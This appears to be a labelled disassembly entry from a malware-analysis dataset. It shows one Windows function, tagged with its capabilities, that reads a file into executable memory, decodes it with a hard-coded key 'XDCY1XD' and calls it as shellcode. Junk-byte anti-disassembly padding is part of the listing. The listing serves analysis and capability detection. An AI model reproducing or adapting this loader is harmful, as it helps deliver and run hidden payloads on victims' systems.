Function at 0x1416ea820
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov dword [rsp + 0x44], 0
xor eax, eax
test eax, eax
je 0x1416eaa48
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or eax, 0xa8000008
or al, 0xd
or byte [rax], al
add byte [rdx + 0x80d0c], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], bh
add byte [0x1916ea88d], cl
add byte [0x1a56ea893], cl
add byte [0x1bc6ea8dc], al
add byte [rdx], al
invalid
xor eax, eax
test eax, eax
je 0x1416eac5f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or al, 0x50
add byte [rbx + riz*2], al
add eax, dword [rdi + rbx*8]
invalid
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x1416eaca8
xor eax, eax
jmp 0x1416ec2d7
xor eax, eax
test eax, eax
je 0x1416eaebf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
jl 0x1416eaccc
or dl, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], ch
add ecx, dword [rdi]
add byte [rax], al
add ecx, dword cs:[rdi]
cvtps2pi mm1, qword [rdx]
or bl, byte [rbp + 0xf]
comiss xmm1, dword [rcx]
invalid
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xffffffff
jne 0x1416eaee9
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1416ec2d7
xor eax, eax
test eax, eax
je 0x1416eb100
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add eax, 0x736080b
or dword [rcx + 7], esp
add byte [rdi + rcx + 0x5019608], al
invalid
mov eax, dword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x1416eb139
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1416ec2d7
xor eax, eax
test eax, eax
je 0x1416eb350
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add esp, ebx
invalid
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1416eb39c
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1416ec2d7
xor eax, eax
test eax, eax
je 0x1416eb5b3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
jae 0x1416eb3b4
add byte [rax + rax], dh
jb 0x1416eb3ba
add byte [rax + rax], dh
outsd dx, dword [rsi]
add bh, bh
invalid
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x48], eax
je 0x1416eb5e2
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1416ec2d7
xor eax, eax
test eax, eax
je 0x1416eb7f9
nop
nop
nop
nop
invalid
xor eax, eax
test eax, eax
je 0x1416eba10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pi2fw mm2, qword [rsp + rcx]
xchg ebp, eax
pi2fw mm2, qword [rsp + rcx]
xchg ebp, eax
femms
adc al, 0xc
ret 0x20c
xor eax, eax
test eax, eax
je 0x1416ebc27
nop
nop
nop
nop
nop
nop
invalid
mov byte [rsp + 0x50], 0x58
mov byte [rsp + 0x51], 0x44
mov byte [rsp + 0x52], 0x43
mov byte [rsp + 0x53], 0x59
mov byte [rsp + 0x54], 0x31
mov byte [rsp + 0x55], 0x58
mov byte [rsp + 0x56], 0x44
mov byte [rsp + 0x57], 0
mov eax, dword [rsp + 0x40]
lea r8, [rsp + 0x50]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call fcn.1416e9cf0
xor eax, eax
test eax, eax
je 0x1416ebe7b
nop
nop
add al, 0xde
or byte [rbx], al
in al, dx
add al, byte [0x17572bf0b]
invalid
call qword [rsp + 0x60]
xor eax, eax
test eax, eax
je 0x1416ec096
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
and dword [rsp + rax], ecx
add byte [r8], r8b
and al, byte [rax]
add eax, 0x7090193
add eax, 0xc6000065
add byte [rsp + rdx*2], al
invalid
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x44], 1
xor eax, eax
test eax, eax
je 0x1416ec2d3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or eax, 0x400c0670
add al, 0
add byte [rax], al
add byte [rax + rcx + 0xa], bh
push rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor dword [rax], eax
add byte [rax], dh
add byte [rax], al
xor eax, 0x370000
add byte [rsi], al
or dword [rsi + rax + 5], ebp
add byte [r8], al
add byte [rdx], al
invalid
mov eax, dword [rsp + 0x44]
add rsp, 0x78
ret